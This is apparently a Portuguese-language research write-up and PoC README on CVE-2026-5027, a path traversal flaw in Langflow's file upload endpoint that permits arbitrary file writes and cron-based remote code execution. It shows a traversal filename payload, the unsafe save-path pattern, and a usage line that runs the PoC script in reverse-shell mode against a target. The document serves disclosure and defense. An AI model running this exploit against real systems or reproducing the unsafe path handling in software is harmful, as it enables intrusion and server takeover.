
Langflow, Execução Remota de Código (RCE) via Injeção de Cron Job por Path Traversal
Esta publicação é um artigo de pesquisa publicado por EQSTLab.
Agradecimentos a Yahia Hamza, que relatou e analisou esta vulnerabilidade.
★ CVE-2026-5027 Langflow Path Traversal / Gravação Arbitrária de Arquivos PoC ★

CVE-2026-5027 : Vulnerabilidade de Gravação Arbitrária de Arquivos no Langflow
descrição: uma vulnerabilidade de path traversal no Langflow <= 1.8.4 permite que atacantes gravem arquivos arbitrários fora do diretório de upload pretendido por meio de um filename multipart forjado fornecido ao endpoint /api/v2/files. Em implantações onde o auto-login está habilitado ou a autenticação é fracamente aplicada, esse problema pode ser explorado para obter execução remota de código gravando conteúdo controlado pelo atacante em locais sensíveis do sistema de arquivos.
Crie e execute o ambiente vulnerável usando Docker:
docker build -t cve-2026-5027 .
docker run --rm -it -p 9013:9013 --name cve-2026-5027 cve-2026-5027
# Proof of concept (writes test file to /tmp/)
python3 CVE-2026-5027.py -t <TARGET>
# Reverse shell via cron job
python3 CVE-2026-5027.py -t <TARGET> --lhost <YOUR_IP> --lport 4444
Endpoint Vulnerável
POST /api/v2/files
O problema existe porque a funcionalidade de upload confia no valor filename multipart fornecido pelo cliente. Em vez de gerar um nome de armazenamento seguro no lado do servidor ou restringir o caminho resolvido a um diretório de upload dedicado, o caminho de código vulnerável permite que sequências de path traversal como ../ influenciem o caminho de destino final.
Como resultado, um atacante pode escapar da raiz de armazenamento pretendida e forçar o aplicativo a gravar arquivos em locais arbitrários no sistema de arquivos do servidor.
Um fluxo de exploração representativo é o seguinte:
/api/v2/files.filename forjado contendo sequências de path traversal.Este é fundamentalmente um problema de CWE-22: Improper Limitation of a Pathname to a Restricted Directory.
A falha de segurança é causada por saneamento e validação insuficientes dos caminhos de arquivo controlados pelo usuário durante o tratamento de upload. O aplicativo aceita o nome de arquivo original do cliente e o passa para o fluxo de armazenamento sem aplicar adequadamente normalização e contenção de caminho.
Do ponto de vista defensivo, o padrão perigoso é conceitualmente semelhante ao seguinte:
save_path = base_dir / file.filename
Se file.filename contiver componentes de path traversal como:
../../../../tmp/poc.txt
o caminho final resolvido pode apontar para fora de base_dir, permitindo a gravação arbitrária de arquivos.
Vulnerabilidades de gravação arbitrária de arquivos são frequentemente mais graves do que problemas padrão de upload sem restrições, porque o atacante controla não apenas o conteúdo do arquivo, mas também o caminho de destino. Dependendo dos privilégios de tempo de execução do processo Langflow, isso pode permitir:
+-------------------------------------------+
| Attacker |
+-------------------------------------------+
|
| Obtain access token
| or abuse auto-login
v
+-------------------------------------------+
| Langflow /api/v2/files |
+-------------------------------------------+
|
| Crafted multipart filename
| (../ directory traversal)
v
+-------------------------------------------+
| Arbitrary File Write (Outside Upload Dir) |
+-------------------------------------------+
|
| Write to sensitive location
v
+-------------------------------------------+
| Potential Remote Code Execution |
+-------------------------------------------+
Este repositório não tem a intenção de facilitar a exploração não autorizada de instâncias do Langflow. O objetivo deste projeto é ajudar pesquisadores de segurança, defensores e desenvolvedores a entender a vulnerabilidade, validar a exposição em ambientes controlados e aplicar mitigações eficazes.
https://www.tenable.com/security/research/tra-2026-26
https://www.cve.org/CVERecord?id=CVE-2026-5027